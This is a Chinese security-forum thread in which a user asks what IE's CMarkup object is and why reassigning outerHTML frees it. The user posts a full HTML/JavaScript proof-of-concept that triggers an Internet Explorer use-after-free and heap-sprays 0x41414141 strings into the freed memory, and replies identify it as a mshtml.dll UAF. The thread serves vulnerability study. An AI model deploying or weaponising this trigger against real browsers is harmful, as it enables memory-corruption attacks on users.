首页
社区
课程
招聘
[求助]CMarkup对象的问题
发表于: 2016-9-19 17:11 1606

[求助]CMarkup对象的问题

2016-9-19 17:11
1606
请教一下,CMarkup对象是什么来的?

我自己baidu了一下,似乎跟xml有关。但在使用一个没有加载xml控件的html里,使用如下语句是可以释放 CMarkup 对象的,为何?

try
{
        this.outerHTML=this.outerHTML
}
catch(e)
{}


附上整个html
<html>
<head id="headId">
<title>main page</title>
<script>
function dword2data(dword) {
    var d = Number(dword).toString(16);
    while (d.length < 8)
        d = '0' + d;
    return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}

var g_arr = [];
var arrLen = 0x250;

function fun()
{
    var a=0;
    // to alloc the memory
    for(a=0;a<arrLen;++a)
    {
        g_arr[a]=document.createElement('div')
    };

    var b = dword2data(0x41414141);
    while(b.length<0x360) b += dword2data(0x41414141);
    var d=b.substring(0,(0x340-2)/2);
    
    try{
        this.outerHTML=this.outerHTML
    } 
    catch(e)
    {}

    CollectGarbage();
    
    for(a=0;a<arrLen;++a)
    {
        g_arr[a].title=d.substring(0,d.length);
    }
}
function puIHa3() {
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = fun ;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);//
}
puIHa3();
</script>
</head>
</html>

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
有人知道吗?
2016-9-19 20:42
0
雪    币: 438
活跃值: (239)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
这个逻辑都是在mshtml.dll中实现的吧。况且CMarkup也只是个布局类。这是哪个CVE?
2016-9-20 19:49
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
mshtml.dll中实现的?

那对于
try
{
        this.outerHTML=this.outerHTML
}
catch(e)
{}

这里面的 this 是至哪个对象?b还是d?还是其他别的什么?
2016-9-20 20:53
0
雪    币: 438
活跃值: (239)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
5
js代码是可以调试的。这个应该是IE的UAF漏洞。
2016-9-21 10:21
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
猜到了....
2016-9-21 10:48
0
游客
登录 | 注册 方可回帖
返回
//